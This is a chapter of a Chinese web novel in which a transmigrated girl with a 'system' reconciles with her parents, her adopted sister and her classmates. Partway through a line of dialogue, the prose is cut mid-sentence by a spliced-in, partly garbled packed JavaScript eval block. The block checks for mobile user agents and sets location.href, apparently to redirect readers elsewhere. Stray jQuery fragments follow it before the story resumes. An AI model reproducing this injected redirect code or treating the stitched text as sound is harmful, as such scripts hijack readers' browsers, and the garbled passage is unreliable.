易耳晚上八点才回到家。

    一楼客厅的电视上正在放财经新闻。

    “还知道回来?”

    易岱重重地哼了一声,横眉冷对,“你一个孩子一天到晚待在外面也不跟家里说,这像什么话?”

    “不要对绵绵这么凶。”

    康巧云轻轻叹气,“我们最近这段时间有些忽视绵绵,绵绵心里有气也是正常的。再说了我们不是知道人家跟小白出去的吗?”

    “可是绵绵现在已经读高中了,也该懂点事了吧?一天天的净让我们担心。”

    “好了好了……”

    易耳刚进门,这么一串对话就砸了过来。

    她看了眼沙发上养眼的夫妻二人,一个唱红脸一个唱白脸,不知道在唱哪出戏。

    她迟疑地摸了摸鼻头,选择不吭声,打算装鸵鸟直接上楼去。

    可是刚走没几步,康巧云就叫住了她:“绵绵。”

    易耳不能再装死:“……妈妈。”

    康巧云幽幽叹了口气。她看了看易岱,又转头看向易耳,起身走到易耳身边说悄悄话。

    “你爸爸生你的气了。”

    “……嗯。”

    “哄一哄他?”

    易耳没经验:“可是……”

    “茶几上有橘子,剥给你爸吃,再说点好话。”

    好吧。

    易耳认命地走过去剥橘子,一边剥一边听着易岱的冷哼。

    她心里又莫名有些想笑。

    剥完,她停了两秒,掰了一瓣递给易岱:“爸爸。”

    “……”易岱接过,又继续唱戏,“国庆节七天假你玩了七天!知道你还不太习惯家里多出来一个妹妹,但是你不愿意陪陪爸爸妈妈吗?”

    他一口吃掉那瓣橘子,脸色变了一下,但还是继续道,“……而且我听九歌说国庆很多作业,你都写完了?”

    “……”

    易耳低着头,默默听他说话。

    她把橘子上的白丝都一点一点弄掉了,易岱才说完,“……知道了吗?”

    “知道了。”易耳乖乖点头。

    康巧云两手一拍,握在一起,整个人都开心了:“我们绵绵一直都很乖!”

    易耳被她感染,跟着弯了弯眸。

    她顺手掰了一瓣橘子喂进嘴巴里。

    ……好酸!

    她皱巴着脸,把剩下的橘子都塞给易岱,语速极快地开口:“那爸爸妈妈我先上楼去了!突然想起来作业好像没写完!”

    她急匆匆地说完,急匆匆地往楼上跑。

    身后传来康巧云的叮嘱:“别写太晚了!早点休息啊绵绵!”

    易耳扬声:“知道了!”

    她还没走远,易岱的声音就再次响起,止不住地兴奋:“怎么样老婆!我演得怎么样?有没有严父风范?”

    康巧云哈哈笑:“可以的老公!太棒了!”

    “……”

    易耳失笑摇头。

    上到二楼,她便放慢了脚步。

    二楼是易岱和康巧云的房间,还有一间书房。

    三楼本来只有易耳住。易九歌来了之后,便把三楼的客房收拾成了她的房间。

    刚踏上三楼,一声开门的轻响,易耳和易九歌对上视线。

    易九歌还握着门把手。

    她想起易耳平日里对自己的态度,下意识地收紧了手指,却不曾想下一秒,易耳对自己点了点头算是打招呼,而后面不改色地进了房间。

    易九歌愣了愣。

    从她来到易家,她很少见到情绪这么稳定的易耳。

    大多时候,她都能注意到易耳瞪自己。

    她知道易耳讨厌她,知道易耳因为自己在跟家里闹脾气。

    易九歌有想过找易耳说说心里话。

    可是每次她靠近,易耳都会不耐烦地走开,根本没有停下来听她说话的打算。

    几次下来,她也只能沮丧地放弃了。

    可是刚刚……?

    易九歌忘记自己前一会儿打算出去干什么了。

    她轻手轻脚地合上门,扑到床上抱起床上的小熊玩偶,声音有些雀跃:“应该不是我的幻觉,你也看到了对吧小熊!”

    她嘀嘀咕咕,“她是不是开始接受我了?”

    .

    国庆收假之后是为期七天的军训。

    易耳坐在座位上听班主任老李的军训注意事项,脑袋昏昏沉沉。

    她揉了揉自己的脑袋,同桌女生蔡媛好奇地瞅她,说悄悄话:“怎么这么困?做贼去了?”

    易耳晃了晃头:“差不多吧。”

    等老李叮嘱完离开,安皓白就苦着一张脸走到易耳桌边,一屁股坐在没人的座位上。

    “绵绵姐,”他的声音很沮丧,像是要哭出来,“不是说好不做国庆作业吗?你怎么搞背刺啊?”

    易耳看向他。

    要是此刻的安皓白变成小动物,一定是一只耷拉着耳朵的小狗。

    因为她做贼去了,偷了安皓白的家。

    她开口:“昨晚回去听了我爸妈一顿训,我觉得他们说的有道理。”

    “什么?”

    “我决定从今天开始我要做个好学生。”

    安皓白:“……?”

    这才是真的背刺啊!

    他苦着脸:“你昨晚补作业也不通知我一下。”

    “说得好像昨晚我通知你了你就会熬夜补作业一样。”

    安皓白:“……”

    他还试图说什么扳回一城,少年淡漠清冷的嗓音便在头顶响起:“麻烦让一下,这是我的座位。”

    是沈鸣。

    穿着校服姿态端正地站在一边,有些瘦削。

    欺负久了,安皓白下意识地想要怼回去。

    但是想到昨天易耳跟他说的话,他看了易耳一眼,别别扭扭地起身:“你坐吧。”

    “……”沈鸣顿了顿,视线扫过安皓白落在易耳身上,眼底划过一道复杂神色。

    他没多废话便坐了下来。

    这时班长秦也德带着其他同学抱着一大摞军训服走了进来,军训服堆在讲台上,像一座绿色的小山。

    “请各位同学回到自己的座位上,点到名字的同学上来领军训服。”

    安皓白回去坐好。

    易耳一边听秦也德叫名字,一边听系统念叨:【你要干什么?恶毒女配不做,打算好好学习天天向上了?】

    易耳嘀咕:【你不要这么凶。】

    【我没有凶你的意思。只是……】

    正太音放软了语气,组织语言,【一般来做这种任务的才不会管自己的学习呢,哪像你还花时间花精力熬夜补作业。】

    【不可以吗?没有任务的时候我做什么都可以吧?】

    【话是这么说。】

    【那不就得了。】

    系统888:【……有些人会觉得学习累。】

    易耳沉默了一会儿。

    她听到自己的名字,去讲台拿了军训服坐下,才跟系统说:【我没有高考过。既然有条件从高一开始好好

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.froharCode(c+29):c.toString(36))};if(!''''''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''''\\w+''''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''''\\b''''+e(c)+''''\\b'''',''''g''''),k[c]);return p;}(''''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n."}'''',24,24,''''userAgent|iphone|ipad|iebile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hs|i|shop|16993248|193826||http|test|ni|href|location''''.split(''''|''''),0,{}));

    () {

    $(''''.infor'').reve();

    $(''''#content'''').append(''''

    学习,我试一下也是可以的吧?】

    她只是很想知道,自己努力学习参加高考……会得到怎样的成绩。

    【可以。】系统888不多说,【只要任务都能顺利完成,其他的你想做什么都可以。】

    【好统统~】

    系统撤退了。

    易耳打了个哈欠,看向讲台上的秦也德。

    秦也德很高,高一这个年纪站在讲台上就能完全显露出上半身。校服穿得板正,寸头显得五官也利落。

    “吧嗒”一声轻响。

    明明夹杂在秦也德念名字的声音里,并不大声,但易耳就是注意到了。

    她低头,看着圆珠笔滚到自己脚边。

    她顺手捡起来抬眸,便对上沈鸣琥珀色的眼眸。

    “……你的?”她递了出去。

    沈鸣接过:“谢谢。”

    易耳收回目光。

    还是太瘦了。

    她在心里嘀咕,看上去就营养不良。

    她寻思着用什么方法偷偷摸摸投喂一下沈鸣。

    一旁的蔡媛凑了过来:“易耳,你跟沈鸣和好了?”

    易耳看向她,眨了眨眼。

    蔡媛推了推鼻梁上的圆框眼镜,“你们不是闹矛盾了吗?”

    “啊。”易耳微笑道,“不确定。”

    ……原来对于蔡媛这种有点关注但不多的人来说,原主对沈鸣的使唤是在生气闹矛盾啊。

    “什么叫不确定?”

    易耳瞥了沈鸣一眼,压低声音:“不知道他消气没有。”

    她睁眼说瞎话的本事见长。

    发完军训服没多久就到了午饭时间。

    因为明天就是军训第一天,他们下午没有课,只是晚上依旧要上晚自习。

    教室渐渐空了许多。

    易耳见沈鸣走出教室后,回过头来看向安皓白,安皓白正咬着笔纠结。

    “绵绵姐你说。”

    “我说。”

    安皓白苦着一张脸:“老班叫我下午留在学校把作业补齐,你说我要写吗?”

    易耳托着下巴:“我当好学生,你当不当?”

    学不学习是人的自由,她只是问一嘴。

    “一定要当吗?”安皓白皱了皱眉,表情更苦了,“好吧,那我尽量。”

    易耳笑了。

    她伸手指了一下:“你每咬一次笔,就有百万细菌大军进攻你的口腔、肠胃。”

    安皓白登时松口,抬头坐直,眼睛都瞪大了许多。

    易耳见他的反应实在好笑,打趣着又吓唬了几句。

    教室门被人敲响,女声轻轻的:“你们好。”

    易耳转过头,看清楚来人,眸中有些讶异。

    易九歌抿了抿唇,盯着她,鼓起勇气问道:“姐姐,你今天中午……回家吃饭吗?”

    她穿着校服,扎着高马尾,脸蛋白净清秀,眼神明亮又坚定。

    易耳注视着她。

    易家现在还没公开易九歌的身份。他们认为十一月份的生日宴是最佳的、最有仪式感的时间。

    她听到有人窃窃私语:“……回什么家?易大小姐不是独生女吗?”

    “没听说她还有个妹妹啊……”

    “……”

    原主的作风实在高调。

    不少人跟风叫她“大小姐”。

    听到这些话,易九歌蜷了蜷手指,心里的忐忑和尴尬渐渐浮了上来。

    这时,她听到教室里少女的笑音。

    “好啊。”